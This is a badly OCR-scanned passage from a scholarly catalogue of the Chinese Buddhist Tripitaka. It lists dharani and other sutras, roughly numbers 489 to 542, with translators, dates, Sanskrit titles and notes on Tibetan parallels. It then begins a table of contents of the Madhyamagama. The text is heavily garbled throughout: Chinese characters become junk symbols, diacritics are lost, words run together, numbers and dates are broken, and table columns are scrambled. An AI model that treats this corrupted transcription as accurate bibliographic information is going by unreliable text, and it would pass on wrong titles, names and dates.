fan. 4, fol. 6 b.' Saba of the Dharant of the heart of Buddhas. 'Buddha-hridaya-dhkant.K'-yuen-lu, fasc. 5, fol. 6 b; Conc. 71 7; A. R. ,p. 5; A. M. G. , p. 31 1 . Translated by Hhiien-kwin.(Iliouen-thsang), A. D. 650, of the Than dynasty, A. D.618-9 07. 3 leaves. It agrees with Tibetan. E'-yuen-lu, s. v.490
11 Et lit'Stara of the Dharani of uprooting and saving pain arid difficulty(of beings). 'Translated by Hhilen-kwih, (Hiouen-thsang), A. D.654, of the Tha dynasty, A. D. 618-9 07. 2 leaves.It agrees with Tibetan. 4'-yiien-lu, fasc. g, fol. 7 a.491 Ashtanamar-sainantagubya-d't-rant-siltra,'I485 14;t:489StTRA-PITAKA. 116 115Translated by Hhen-kiv (Hiouen-thsang), A. D.654, of the Th dynasty, A. D. 618-9 07. 3 leaves.It agrees with Tibetan. K'-yuen-lu, fasc. 5, fol. 7 a.492. Fo-shwo-kh'- shi-thb-lo-ni-Ici.Sacra spoken by Buddha on the Dhran1 of holding the world. 'Vasudhara-dhr,nt.K'-yuen-lu, faze. 5, fol. 6 a; Conc. 686; A. R. , p. 53 o;.A. M. G. , p. 3 28. Translated by Hhen-kwki (Hiouen-thsang), A. D. 654, of. the Th dynasty, A. D. 618-9 07.4 leaves. It agrees with Tibetan. K'- yuen-lu; s, y.'at 71/4 M g i^^^F-shwo-liu-man-tho-lo-ni-Ici.`Sutra spoken by Buddha on the Dhran4of sixgates;Shanmukht-dhrant.A. R, p. . 526 ; A. M. G. , p. 3 25. Translated byHhen-kw (Hiouen-thsang), A. D. 645, of the Thdynasty, A. D. 618-9 07. i leaf. Deest in Tibetan. _X'-yuen-lu, fasc. 5, fol. 7 b. See, however, the authori,ties mentioned under the title.494 ;* ig4 1 1Mi ^^Tshi-tsii-kwn-shi-yin-phu-s-phu-hhien-tho-lo-ni-ki.'The pure Avalokitesvara-bodhisattva-samantabhadra-dlirant-sQ tra. 'Samantabhadra-dhrant.K'-yuen-lu, fasc. 5, fol. 7 b; Cone. 775 i, A. R. ,P 53 3 ,; A. M. G. , p. 3 3 1. Cf. also No. 475. Trans-lated by K'-thu, A, D. 653 , of the TWAdynasty, A. D.618- 9 07. 8 leaves. It agrees with Tibetan. K'-yuen=lu, s. v.495 ^Ku-fo-tsi-hwui-tho-lo-ni-ki.` Sutra of the Dhrani of the assembly of Buddhas. 'Sarvabuddhangavatidhrani.K'-yuen-lu, fasc. 5, fol. 8 a ; Conc. 719 ; A. R. ,p. 5 I Y ; A. M. G. , p. 3 11. Translated by Devapragaand others, A. D. 69 1, of the Th dynasty, A. D. 618-9 07. 4 leave . It agrees with Tibetan. K'-yuen-lu, s. v. '496
_ It t t M g ' fE 4Fo-shwo-k'- k- tho-lo-ni-ki.' Sutra spoken by Buddha on the Dhrani of the trch of wisdom;anolka-ahranf-sarvadurgati-parisodhan4.K'-yuen-lu, fasc. 5, fol. 7 b; Cone. 69 0; A. R. ,P. . . 543 ; A. M. G. , p. -3 40. Translated by Devapra fiaand others, A. D. 69 1, of the Th dynasty, A. D. 6489 07. 5 leaves. It agrees with, Tibetan. K'-yuen-lu,S. V.49 7It It On ^iFk"'; YE VFo-shwo-sui-khu-tsi-th-t-tsz'- tsai-tho-lo-ni-shan-kheu-kiA.Sutra spoken by Buddha on the Dhrani-riddhimantra of greatfreedom to be obtained as soon as one wishes for it. 'Translated by Ratnakinta, A. D. 69 3 , of the Thindynasty, A. D. 618-9 o7. 1 fasciculus. It grees withTibetan: K'-yuen-lu, fasc. 5, fol. 8 a.498 ^^gi [i ^7J ^ 0 it At Ki41Fo-shwo-yi-tshi-f-ku-th-kwli-yen-w-ki.Buddhabhshita-sarva . . . raga-Odra:Sarvadharrnagnavy{iharga.A. R. , p. 43 6 ; A. M. G. , p. 2,42. Translated by I-tsi,A. D. 705, of the Th dynasty, A. D. 618-9 07. 1 fasci-culus.49 9Fo-shwo-fu-khu-tsi-kii-kheu-wan-kin.' Sutra spoken by Buddha on the Mantra-raga of uprooting andremoving sin and obstacles. 'Translated by I-tsi, A. D, 710, of the Than dynasty,A. D. 618-9 07. 4 leaves.500Fo-shwo-ohan-y8-kiii.Sutra spoken by Buddha on the good night.Bhadrak-rtrt.A. R. , p. 476 ; A. M. G. , p. 279 . Translated by I-tsi,A. D. 701, of the Thin dynasty, A. D. 618-9 07. 4 leaves.In this Sutra the Devaputra Kandana awakened,Bhikshus and caused them to ask Buddha a questionsthen Buddha spoke the Sutra together with three. Mantras or spells. K'=tsin, fasc. 13 , fol. 16 a.501
*^^^^^^'i^^.At JOVE g iZ* N4it.Fo-shwo-hh-khuii-ts-phu-s-na-mn-ku-yuen-tsi-shaii-sin-tho-lo-i-khiu-wan-kh'- fa.' Law or rules spoken by Buddha for seeking to hear and hold theDhran4 of the most excellent heart, and of fulfilling all,brayers belonging to the Bodhisattva ksagarbha. '493S TRA-PITAKA. 11$117Translated by Subhakarasinzlia, A. D. 717, of the Thandynasty, A. D. 618-9 07 . 5 leaves. Deest in Tibetan,K'-yuen-lu, fasc. 5, fol. 9 a seq.502f$ at 0 3 thFo-shwo-fo-ti-ki.` Buddhabhashita-riuddhabli{imi-sQ tra. 'Buddhabhmi.A. R, p. 469 ; ,A. M. G. , p. 273 . Translated byHhen-kw (Hiouen-thsang), A. D. 645, of the Thdynasty, A. D. ' 618-9 07. 12 leaves.503 t;^
^,. Il,ftPM-tshien-yin-tho-lo-ni-ki.Satasahasramudrt dhran9 -sutra. 'Translated by Sikshnanda, of tl Th dynasty,A. D. 618-9 07. 3 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 5, fol. 8 'a seq.504 AI: Ms -i'. Pt 7WgKw-yen-w-tho-lo-ni-ki. Vguharga-dhran4-sutra. 'Sarvatathgatdhishthna-sattvvalokana-buddhakshetrasandarsana-vyharga-stra.K' - yuen-lu, fasc. 5, fol. 8 b.kshetravyfiha-nirdesana.A. R, p 425; A. M. G. , p. 23 1.kshetra-nirdesana-vyha.Conc. 7o8. Translated by I-tsi, A. D. 701, of theThan dynasty, A. D. 6 1 8- 9 07. 4 leaves . 1 It agreeswith Tibetan, K'-yuen-lu, s. d.. . . ;Itt g:-Hhia-w-phu-s-tho-lo=ni- ki.' Gandharga-bodhisattva-dhranl=sutra. ', Translated by I-tsi; A, D. 705, of the Than dynasty,A. D. 618-9 07. 4 leves.506 19rr FlYiu-pho-i-tsin-hhi-f-man-kin,Upsik-brahmakary-dharmaparyya-sutra. 'Translated under the Northern Lian dynasty, A. D.3 9 7-43 9 ; but the translator's name is lost. Q 2 fasci-culi ; 3 chapters. Deest in Tibetan. K'- yuen-lu,fasc. 4, fol. 7 a seq.^1 '.^Ku-f-tsui-sh -w-ki.` 8arvadharmnuttararga-sutra. 'Translated by Guhanagupta, A. D. 59 5, of the Suidynasty, A. D. 589 -618. 1. fasciculus. Deest in Tibetan.K'-yuen-lu, fasc. 4, fol. 2' b.508
O41 re`Wan-shu-sh'- li-pn- ni-phn-ki. .' Magusrt-parinirvetna-sutra. 'Translated by Nieh Tao-kan, of the Western Tsindynasty, . A. D. 265-3 16. 5 leaves. Deest in Tibetan.K'-yuen-lu, fasc. 4, fol. 1 a seq.509 A^' lI-khu-phu-sa-pan-khi-ki.'Adifferent translation of the Sutra on the. origin or formerhistory of the Bodhisattva. 'Abhinishkramana-stra (?).A. R. , p. 474 ; A. M. G. , p. 277. Translated byLich Tao-kan, of the Western Tsin dynasty, A. D. 2653 16. 10 leaves. Deest in Tibetan. ' K'-yuen-lu, fasc. 4,fol. 1 a seq. This work is a similar translation ofNos. 664-666; so that it ought to be arranged underthe heading of the Stras of the Hinayana, as it isin K'-tsi, fasc. 29 , fol, 18 b.510
-6Fo-shwo-hhien- ^ heu-ki.` Sutra spoken by Buddha on (the request of) Bhadrasrl (a queenof Bimbisra). 'Translated by Sha. - kien, of the Western Tshirdynasty, A. D. 3 85-43 1. 3 leaves. Deest in Tibeten.K'-yuen-lu, fasc. . 4, fol. 1 b.511111"Tshien-fo-yin-yuen-ki,Sahasrabuddha-nidna-sutra. 'Translated by Kumragva, of the Latter Tshindynasty, A. D. 3 84-417. 22 leaves. This work ismentioned by Wassiljew, in his Buddhisnius, P. 175,Deest in Tibetan, K'-yuen-lu, fasc. 4, fol. 1 a seq.512P-t-zan-kio-ki. ,'Sutra on the eight understandings of the great men (such asBuddhas and Bodhisattvas). 'Translated by An Shi-ko, of the Eastern Hndynasty, A. D. 25-220. 2 leaves. Deest in Tibetan.K'-yuen-lu, fasc. 4, fol. 7 a seq.513 It A9 1Fo-shwo-yueh-mi-phu-s-kin.Buddhabhshita-kandraprabha-bodhisttva- ^ atra. ''I 2505507ILPAO51 82 521119 SUTRA-PITAKA,120Translated by K' Khien, of the Wu dynasty, A. D.222-280. 4 leaves. Deest in Tibetan. .K' yuen-lu,fasc. 4, fol. i b.514FA:v9 1 41Sutra spoken by Buddha on Heart-brightness (or ifittaprabh5, ?,the wife of a BrahmakArin, who received from Buddha theprophecy)?Translated by Ku 11-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. 4 leaves. Deestin Tibetan. K'-yuen-lu, fasc. 4, fol. r b.Cf. Conc. 73 5. Translated. by Ku II-hu (Dharma-raksha), A. D. 276, of the Western Tsin dynasty, A. D.265-3 16. fasciculus. It agrees with Tibetan. K'yuen-lu, fan. 4, fol. 2 a seq.519 tShan-ku-thien-tsz'- kin.Banikpati (?)-devaputra-stitra. 'Translated by Gilnagupta and others, A. D. 59 5, ofthe Sui dynasty, A. D. 589 -618. i fasciculus. Deestin Tibetan. K'-yuen-lu, fasc. 4, fol. 2 b.520515 exigttmaFo-shwo-naleh-shi-fanmin-kin.Satre, spoken by Buddha on destroying the darkness of the tenquarters. 'Dasacligandhakka-vidhvam sana-s-Cara.K'-yuen-lu, fasc. 4, fol. i b; Conc. 3 60 ; A. R. , p. 468;A. M. G. , p. 2 7 2. Translated by Ku FA-hu (Dharma-raksha), A. D. 3 06, of the Western Tsin dynasty, A. D.265-3 16. 8 leaves. Tt agrees with Tibetan. K'yuen-lu, s. v.516-14Fo-shwo-lu-mu-kin.Sara spoken by Buddha on the mother of deer. 'Translated by Ku F-hu (Dharmaraksha), of theWestern Tain dynasty, A. D. 265-3 16. 9 leaves. Deestin Tibetan. K'-yuen-lu, fasc. 4, fol. 2 a. This is aGas taka df Buddha.517N 11 2 )),. .Fo-shwo-mo-ni-kin.'Stitra spoken by Buddha on the opposition of the Mara. 'Translated by Ku FA-hu (Dharmaraksha), A. D. 289 ,of the Western Tain dynasty, A. D. 265-3 16. i fas-ciculus. It agrees with Tibetan. K' -yuen-lu, fasc. 4,fol. 2 a.Pft41Fo-shwo-lai-kh-h6-10-su-Wan-th-kwal-thfti-tsz'-kiii.BuddhabhAshita-ritshtravara (? bhikshu)-pariprikkh6. -gunaprabha-kunAra-sAtra?ra-shan-sz'-Mallygna-katurdharma-satra?Katushka-nirhara-stra.K' yuen-lu, fasc. 4, fol. 4 b, Conc. 588 ; A. R. , p. 465 ;A. M. G. , p. 268. Translated by Sikshananda, of theTha dynasty, A. D. 618-9 07. x x leaves. It agreeswith Tibetan. K'-yuen-lu, s. v. This work is not asimilar translation of Nos. 266 and 267, though thetitle is the same. See No, 1488, fol. 9 a.Li - keu hwui - phu - - su -wan - -fo-fa-kin.' Satre on the law of the worship of Buddha, asked by the Bodhi-sattva Vimalaglia. 'Translated by Nadi, A. D. 663 , of the Thetil dynasty,A. D. 618-9 07. 7 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 4, fol. "3 a.522 ttEa.MI 41Tsi-Nto-shan-pien-san-mo-ti-kin.Prasntaviniskaya-pratihrya-samadhi-stara.K'-yuen-lu, fasc. 4, fol. 3 b; Conc. 768; A. R. , P. 443 ;A. M. G. , p. 249 . Translated by Hhuen-kwAn (Hiouen-thsang), A. D. 663 , of the Th dynasty, A. D. 6x8-9 07.i fasciculus. It agrees with Tibetan. K'-yuen-lu, s. v.5233 . 110Fo-shwo-tsfto-thtl-kmi-toh'Satre, spoken by Buddha on the merit of erecting a Kaitya. 'Translated by Divkara, A. D. 68o, of the Thilitdynasty, A. D. 60-9 07. 3 leaves. Buddha spoke thisSara to the Bodhisattva Avabakitesvara, while he was121StTRA-PITAKA. 122in the Trayastrimsa heaven, in which he explains the fol-lowing famous Gth, to be written down and placed ina Kaitya, being the Dharmakya of Buddha : Ye dharmhetuprabhava hetum teshm Tathgatah, by avadatteshm ka yo nirodha evam vadi Mahsramanah.(K'-tsin, fasc. 1o, fol. 5 b seq. ) An English translationof this Gth by Csoma is quoted in Burnouf s Lotusde Bonne Loi, p. 527, which is as follows : ' Whatevermoral (or human) actions arise from some cause, thecause of them has been declared by Tathgata : what isthe check to these actins is thus set forth by the greatSrmana: No. 523 agrees with Tibetan. K'-yuen-lu,fasc. 4, fol. 4 a.524 01 1 wt ,;MFo-shwo-pu-tsars-pu-kien-kin.'Stara spoken by Buddha on neither increasing nor decreasing. 'Translated by Bodhiruki, A. D. 519 -524, of theNorthern W@i dynasty, A. D. 618-9 07. 7 leaves. Itagrees with Tibetan. K'-yuen-lu, fasc. 4, fol. 3 b seq.525w MCFo-shwo-kien-k-n-ki.' Sutra spoken by Buddha on (the prophecy given to) the UpsikFirm-minded (or Sthiradhl ?). 'Translated by Narendrayasas, A. D. 582, of the Suidynasty, A. D. 589 (or 58i 6r8. 8 leaves. Deest inTibetan. K'-yuen-lu,, sc. 4, fol. 2 b.526 PO * NiA'Fo-shwo-tit-shan-liu-kwn-ku-yiu-kin.' Sutra of the Mahana spoken by Buddha on the transmigrationthrough several states of existence. ' ,Bhavasankramita (or -krnti)-sfltra.K'-yuen-lu, fase. 4, fol. 4 b. Conc. 576 gives the title' of ' Bhavasangirathl,' but see A. 'R. , p. 46o ; A. M. G. ,p. 264. Translated by I-tsin, A. D. 7oi, of the Thsidynasty, A. D. 618-9 07. 3 leaves. It agrees withTibetan. K'-yuen-lu, s. v.527f * g 4Fo-shwo-th-i-kin.' Buddhabhshita-mahmati-sutra. 'Translated by Gunabhadra, of the earlier Sun dynasty,A. D. 420-479 . 7 leaves. Deest in Tibetan. . K'-yuen-lu, fasc. 4, fol. 2 b. . This is a Gtaka of Buddha, whothen emptied the sea to seek ' for a pearl. K'- tsin,fasc. 9 , fol. 15 b.528 Ni 9 fSheu-kh'-tshi-fo-min-hao-su-shan-kun-th-kin.' Sutra on the merits produced from keeping the names of seuenBuddhas. 'Translated by Hhen-kwn, (Hiouen-thsang), A. D.65t, of the Than dynasty, A. D. 618-9 07. 6 leaves.Deest in Tibetan. K'- yuen-lu, fase. 4, fol. 3 a. In thisSutra, Buddha told Sriputr f the names of sevenBuddhas, five in the eastern, aiid two in the southernquarter. K'- tain, fase. 5, fol. 17 b seq.529 VIKin-kn=kwn-yen-k'- fan-y-tho-lo- ni-kin.' Sutra of the Dhranl of the diamond-light which stops the windand rain.Translated by Bodhiruki, A. D. 7 io, of the Thndynasty, A. D. 618-9 07. i fascicules. . Deest in Tibetan.K'- yuen-lu, fasc. 5, fol. 5 b seq.53 0 * A 'a Vi !^.
gTa -phi - l - k - n-kh - fo -shan - pin ki-kh'- kin.' Sutra on Mah'vairokana's becoming Buddha and the supernaturalformula called Yugandhara (? lit. adding-holding). 'Mahvairokanbhisambodhi.A. R. , p. 5o6; A. M. G. , p. 3 07. Translated by Su-bhakarasimha, together with the Chinese priest Yi-hhiri'A. D. 724, of the Thii dynasty, A. D. 618-9 07. 7 fas-ciculi; 3 6 chapters. The 7th fasciculus has its owntitle, and five chapters in it are numbered separately.Deest'in Tibetan. K'-yuen-lu, fasc. 5, fol. 4 b seq. See,however, the authorities mentioned under the title.This work is commonly called * f Ti-zih-kin,or the Great Sun Sutra, i, e. Mahvairokan^ -sutra.53 1Su-pho-hu-thus-tsz'-Subhu-kumra sutra. 'Cf. Conc. 541, Translated by Subhakarasimha,together with the Chinese priest Yi-hhiri, A. io. 724, ofthe Thri dynasty, A. D. 618-9 07. 3 fasciciili; z 2 chap- ,ters. Deest in Tibetan. K'-yuen-lu, fasc. 5, fol. 5 a.1 23STRA-PITAKA. 124The above two works are very 'important Stras_ of theMantra school.^Yi-tsz'- fo-ti-lun-w-ki.Ekakshara-buddhoshnfsharaga-sQ tra. 'Translated by Bodhiruki, A. D. 709 ,. of the Thandynasty, A. D. 618-9 07. 6 fasciculi ; chapters.Deest in Tibetan. K'-yuen-lu, fasc. 5, fol. 4 a seq.53 3 Akt tat A *1Su-shill . ti-ki-lo-ki." aiddhikara-sdtra. 'cusiddhikra-mahtantra-saddhanopasik-patra.K'-. yuen-iu, fasc. 5, fol. 5 a; ' Conc. 542.'tantra-sdhanopamyika -vitala.A. R. , p. 544; A. M. G. , p. 3 41. Translated bySubhakarasimha, A. D. 724, of the Thai dynasty, A. D.618-9 07. . 3 fasciculi; - 3 8 chapters. It agrees withTibetan. K'-yuen-lu, fasc. 5, fol. 5. a. This is also animportant Stra of the Mantra school.534fiJ. TA ipIKin-k-tin-y-ki. . ku-1i0-khu-nien-su-ki.SAtra for reciting, being an abridged translation of theVagra-sekhara-yoga (-tantra). 'Translated by Vagrabodhi. , _ . D. 723 , of the Thandynasty, A. D. 618-9 07.53 5
111flkKwa-ta-po-leu-k-shan-k-pi-mi-tho-lo-ni-ki$.Vipula-mahmani-vim na-su pratishthita-guhya-dharant-sAtra. 'Mahkmani-vipulavimna-visva-supratishthita-guhya-parama-rahasya-kalparga-dhrani.Cf. K'-yuen-lu, fasc. 5, fol. 1 x a; A. R. , T. 509 ;A. M. G. , p. 3 10. Translated by Bodhiruki, i. D. 706,of the Than dynasty, A. D. 618-9 07. 3 fasciculi ; 1 2chapters. Deest in Tibetan. K'-yuen-lu, fasc. 5, fol.4 a seq. See, however, the last-two authorities men-tioned under the title, Cf. also K'- tsift, fasc. 12, fol.2 b seq. , where No. 53 5 is said to be a similar transla-tion of Nos. 53 6 and x028.53 6V Y1Meu-li-man-tho-lo-kheu-ki.' MAla (?)-mandala-mantra-sAtra. 'For the Sanskrit title, see No. 53 5.Translated under the Li dynasty, A: D. 502-557. ;but the translator's name is lost. 2 fasciculi. Deestin Tibetan. K'-yuen-lu,_ fasc. 5, fol. 5 a seq. See,however, A. R. , p. 509 ; A. M. G. , p. 3 1 0. No. 53 6has not the introductory chapter, while the latertwo similar translations (Nos. 53 5 and 1028) have it.K'-yuen-lu, fasc. 12, fol. 3 a seq.537TA*1A T- Li t: ^ppaKin-k-tit-ki-man-shu-ship-li-phu-s-wu-tsz'- sin-tho-lo-ni-phin.' Vagra-sekhara-siltra-maiigusrt-bodhisattva-paikakshara-hridaya-dh%rant-varga.Translated by Vagrabodhi, A. D. 73 0, of the Thdynasty, A. D. 618-9 0. 7. 13 leaves. Deest in Tibetan.K'- yuen-lu, fasc: 5, fol. 9 b.53 8 gri oir q0p'^Kw -tsz'-tsi-zu-i-lun-phu-sa-y-ki- f-yo.The importance of the law of Yoga of the BodhisattvaAvalokitesvarakintakakra (or -mani ?). 'Translated by Vagrabodhi, A! D. 7 3 o, of the Thandynasty, A. D. 618-9 07. 1 6 leaves. Deest in Tibetan.This is said to be an extract from ,the Vagra-sekhara-stra, which consists of 100,000 slokas in verse, or anequivalent number- of syllables in prose. K'-yuen-lu,fasc. 5, fol. 9 b.53 9 TO^
t:1
^^.it bill YEFo- shwo-kiu-mien- AD-115-kwi-tho -10-ni-shn-kheu-ki. ii. " `Buddhabhashita-gvl mukha-preta-paritrkka-dharany-riddhimantra-sAtra. '' Translated by Sikshnanda, of the Than dynasty,A. D. 618-9 07. 3 leaves. It agrees . . with Tibetan.K'-yuen-lu, fasc. 5, fol. 8 b.540wit41 lit tFo-shwo-kn-lu-^. ^i-tl^o-lo-ni. ,' Buddhabhashitamrita-sQ tra-dharant:53 2it i
125Sf1TRA-PITAKA. 126Translated by Sikshnanda, of the Thai dynasty,A. D. 618-9 07. Half a leaf.541 s t * 4 n 7f-- 1r 4'1' YE #EF-shwo-t-tho-lo- ni -mo-f-ku-yi-tsz'- sin-kheu-ki.Ekkshara-hridaya-mantra-stra, spoken by Buddha in thelast dharma of the great Dhrani. 'Translated by Ratnakinta, of North India, A. D. 705,of the Tli dynasty, A. D. 618 -9 o7. i fasciculus.Deest in Tibetan. K'-yuen-lu, fasc. 5, fol. 4 b. Aecord-ing- to the K'-tsiri (fasc. 14, fol. 3 a), this Mantra isgiven in the Mafigusr1-mla-garbha- tantra, No. x056.For this Tantra, see the K'- yuen-lu, fasc. 5, fol. i4 b ;A. R. , p. 512 ; A. M. G. , p. 3 . 13 . For the date of thetranslation of No. 541, see the . Khi-uen-lu, fase. g,fol. rgb.ffff(9 )(to)StTRA-pITAKA. 128PART II.. ^ v{^^Siao-shan-kirl, or the Sutras of the . ^Tna na^I ^yCLASS I.Nan-pu, or Agaro. a Class.127542. Kun--han-kin.Madhyamagama-s{tra.K'-yuen-lu, fasc. 6, fol. i8 a; Conc. 7o9 ; Wassiljew,pp. 17. Translated by Gautama Sanghadeva, A. D.3 9 7-3 98, of the Eastern Tsin dynasty, A. D. 3 17-420.66 fasciculi ; 5 adhyyas ; 18 vargas ; 2 2 2 Stras col-lected. It agrees with Tibetan. K'-yuen-lu, s. v.There was an earlier translation made by Dharmanandi,A. D. 3 84-3 91 , of the Former Tshin dynasty, A. D. 3 50-3 9 4; but it was lost already in A. D. 73 0. Khi-yuen-lu, fasc. 15 a, fol. x a. ' No. 542 is to be compared withthe Pali text of the Maggltima-nikaya, collection ofmiddle Suttas, 152 in number. See Sacred Books ofthe East, vol. x, p. xxviii. The following is a summaryof the contents, with a literal translation of tho Chinesetitles of the 22 2 Stras :TITLE.ADHYYAI ; 64Stras.Varga i, on the seven Dharmas.(1) On the good law(2) ,, day-measuring tree (comparison)(3 ) (Rgagriha) city comparison(4) water comparison(5) tree-heap comparison(6) good men's going and coming(7) ,; (seven) worldly good (action^ )(8) seven suns (to appear at the end of a }Kalpa)seven carts (comparison)Asrava-kshayaVarga 2, on the consequence of Karma.(II) On the salt comparison(x 2) . (instruction to the Tirthaka) Agree- }ment-breaking (?)(13 ) measurement(14) (warning to) Rhula (against lying)(15) On thought(16) On the (instruction to the people of) Ki-lan (Kerala ?)TITLE,FASC. FOL(i7) On the (instruction to theDevaputra) Gamin(?) 3 . 24b-2 7 b(i8) (instruction to the minister) Simha 4I a-7 a.(19 ) (refutation of) Nirgrantha7 a-16 a(2o) (instruction to) Palo-lao (?)16 a-28. aVarga 3 , on the fitness of Sriputra (who is the chief speakerin the Stras of this Varga).(2I) On the (address of the Deva) Samakitta (?)(22) perfection of the Sua(23 ) On wisdom(24) On the lion-roaring (or preaching)(25) water comparison(26) (Bhikshu) Kleii-ni-sh' (?)(27) (instruction to the) BrahmakrinTho-An (?)(28) instruction to the diseased (Antha-pindada)(29 ) (answer to Sriputra by) DUB- }kaushthila(3 o) elephant-footprint comparison(3 i)explanation of the (four) holy Satyas'or truthsVarga 4, on the Adbhuta-dharma.(3 2) On the Adbhuta or that which has never }existed beforeattendant (Ananda)(answer to a Tirthaka's question by)_Vakkula(3 5)ff (preaching by Buddha to an) Asura(3 6) ' earthquake(3 7)f, (country of) Kamp (?)(3 8) Sreshthin Ugra, part 1(3 9 ) Sreshthin Ugra, part 2(40) Sreshtlain Hand (Haste?), part I(41) Sre^ hthin Hand (Rasta ?), part 2Varga 5, on the fitness of practice.(42) On the (answer by Buddha to :Amanda's ques-tion, saying) what is the . meaning Io(of keeping the S9 1a) ?uselessness 'of anxietyintense thoughtshamefulness, part Ishamefulness, part 2FASC. FOL.I. a-4b4b-6 b6 b-Ii bT-. . 15 a15 n- ^i bzI a-3 . b4a-6 b6 b-io bII a-17 a17a-2Ia3 I a-4b4b-8 b8b-Ii bIIb-i6 a16 5-1 9 a19 a-24 a(3 3 ) ff(3 4) ff9 fffffff5 I a-4a4a-8b8 b- 14a14a-19 a19 a-22 a6Ia-5b5b-13 b13 b-23 b7i a-11 aIIa-Zi a21 a-29 b8I a- b8 8 b-19 b19 b-22 a22 a-28 a9 I a-4 a4a-8 b8b-i4b14b-19 a19 a-25 b26 a-27 a(43 )(44)ff(45)(46)f f^'I a-2b2b-3 b3 b-,}a4a-4b4b-6 aFASC.Io(52)(53 )(54)(55)(56)
,f(57)(83 )(84)(85)(86)(87)(88)(89 )(9 0)(9 1)(9 2)(9 3 )(9 4)(9 5)(9 6)-(9 7)(9 8)(9 9 )(Ioo)(lot)(102)(103 )(104)(1o5)(Io6)(III)(III)(113 )(114)(115)(I16)(117)(I18)(719 )(120)(121)(122)(123 )(124)(125)(126)(727)(128)(129 )(13 0)129 STRA-PITAKA,13 0FASO. FOL. ;On the sleepiness of the Sthavira (Maudga- 1lyyana)20freedom from thorns21true mansubject of instructionTITLE.(47)On the Sila, part 1(48) Sila, part 2(49 )On respectfulness, part s(5o) On respectfulness, part 2( 51) On the fundamental limit, or causationfood (comparison), part . Ifood (comparison), part 2(srava)-kshaya wisdom (?)Nirvna(instruction to) Mi-hhi (an attendantof Buddha))}instruction to the Bhikshus (on thesame subject as the preceding)Varga 6, on the fitness of the King.(58)On the seven precious things (of the Kakra-varti-rga, compared with the I 1seven Bodhyagas)(59 ) thirty-two characteristic marks(6o) four continents(61) cow-dung comparison(62) King Bimbisdra's coming to meet }or inviting Buddha(village) Pi-pho-li-lin-khi (?)12(63 )
4(68) KingMahtlsudarsana. Cf. the Mah-sudassana-suttam, the Great Kingof Glory, S. B. E. , vol. xi, pp. 247-289(69 ) thirty comparisons(70) Kakravarti-rftga (Sakha)(71) King Pi-s2' (?)Varga 7, on the King of Long Age.(72)On the Ityukta of the King of Long Age17 heaven, or state of Devai8(73 )eight intense thoughts (of a great man)(74) pure and unshakable way(75) (instruction to the Bhikshu) Yii-7 i-(76) k'-lo (8) (instruction to the) three sons of the I(77)Sgkya family (?)Deva Brahman's asking Buddha(78)excellent heavens(79) Katliina or robe (presented to Anu-(8o)
practice of desirePunya-kshetra, or happy fieldUpsakaenemy (viz. anger)instruction to (the Bhikshu) Dhar-mamitraS
14a-2o -b28Y a-22 a-3 b3 b--9 a9 a-17b29 Iar3 a3 b-5b5 b-7 b7 b-8 b8b-IibIIb-15a15 a-49 b19 1)-221)22 b-25 b3o1 a-4a4a-5 a5 a-9 a9 a-izb
I2 17-4^ ,b27I a-44b15 a-22 hs a-6b6b-i2s1 9 a-45bi6 a-20 a26i a-5 a5 a-i20 a-22 a22 a-23 bI a-14a14a-2o ai a-5 a5 =7 a7 a= lIaIYa-13 a13 a-T6a16 b-2o a2oa-3 2a22 a-23 bIqb-aobIa-3a3 a-6 a6 b-i9 b_ la-4a4a-6 a6 a-8 a8ar9 b9 (13 6)(?3 7)(13 8) On happiness(13 9 ) On the way of stopping (human passion)
(45)(quesdonof)Goman-maudgalyyana(whom Ananda answers after 3 6
Buddha's Nirvana)
. (147)merit of hearing(148) (question; saying), 'What is pain?'(149 ) (question, saying), What do they 13 7desire ?'(instruction to the Brahmakrin)Y-sheu-ko-lo (I, about theequality of, the four castes)
(151)(instruction' to . the Brahmakrin) 1Aiwa (?)TITLE.FASC.FOL,(13 1) On the subjugation of the Mara (whohad entered the belly of Maudga- 3 o 19 a-27 blyyana)(13 2) (Grihapati) Rshtrapla (I, whoseson became the disciple of 3 1 1 a-18 aBuddha)(13 3 ) (Grihapati) Upli -3 2(13 4) ,, question asked by Sakra3 3(13 5) (instruction to the Grihapati) Su-gta (or Srtgla ?) Cf. No. 545(16), and the Sigalo-vda-sutta,in the Sept Suttas Plis, text,pp. 29 7-3 10, and an Englishtranslation by Gogerly, pp. 3 11-3 20; and another translation byChilders, in the ContemporaryReview (February, 1876), vol.xxvii, PP. 417-424merchant's seeking treasure 3 4world (where whatever the Tath-gata has spoken is all true)2013 -3 2 bz IIb-12aI2 ar16ai6a-17b17 b-18 b1 8 b-zo bIa-17aia-2ob( 1 43 )'(1-44),
ADHYYA4; 3 5 Sutras.On the (instruction to the Mnava) Suka 3 8(instruction to theTlrthaka) Suknti (?)(instruction to the ascetic) Balavat (?) 3 9(instruction to the Grihapati) Sudatta(instruction to the) BrahmakrinParya(na ?)(157)(instruction given in the) yellowreed garden t (Pttavenuvana ?,where an old J ahmakrin be- 40came Buddha's disciple)(instruction to) Tuna (?)(instruction to) Akalkana (?)(152)(153 )(154),(155)(256)
(158)(159 )
\(15o)Ia-8 b8 b-i4 b14b-so aI a-99 a-16b16 b-2o b20 b-24aI a-2 a2a-IIaIZa--22aI a-12 b12b=z3 aI a-14a14a-18a18 a-2I aI a-5 a5 a--9 b9 b-IIbFOL.IIb-1 9bI a-1 8bl a--9 a9a-1 5a15b-22 a1. a-8a8a-12a12a-14b14b-17b17b-25bIa-3 b4a-9 a9 a-13 ,1113 a-17 aY -I0aIoa-17aI a-7 a7a-12 b .xzb-16b16b-22aI a-4b1 31StITRA-PITAKA. 13 2TITLE,FASO.(160) On the (story of the Brahmakrin) liana(one of Buddha's former births) 3 40(161) (conversion of the Brahmakrin)Brahman (?)41MQ la-nirdesa-varga 13 .(162) description of six Dhtus(163 ) description of six Vishayas(164) description of the law of meditation(165) Deva of a hot-spring-forest43(166) worthy in theVihra of Skya(muni?)(167) 11of nanda(168) practice of thought(169 ) Arana (? '7 not quarrelling or disput-ing,' spoken to) Krosa (?)(17o)(instruction to the Mnava) Suka(whose father was re-born as a 44I a-9 bdog and barked at Buddha)description of the great Karma9 b-18 b Varga 14, on thought.(172) On thought45(173 ) On-the (instruction to) BhAmi(174),, law of receiving (results of former }deeds), part I(175) law of receiving (results of former }'deeds), part 2(176) practice of meditation46(177) explanation (of the meditation)(178) hunter (comparison)-47( (179 ) (instruction to the) owner of five }things(18o) (gift of) 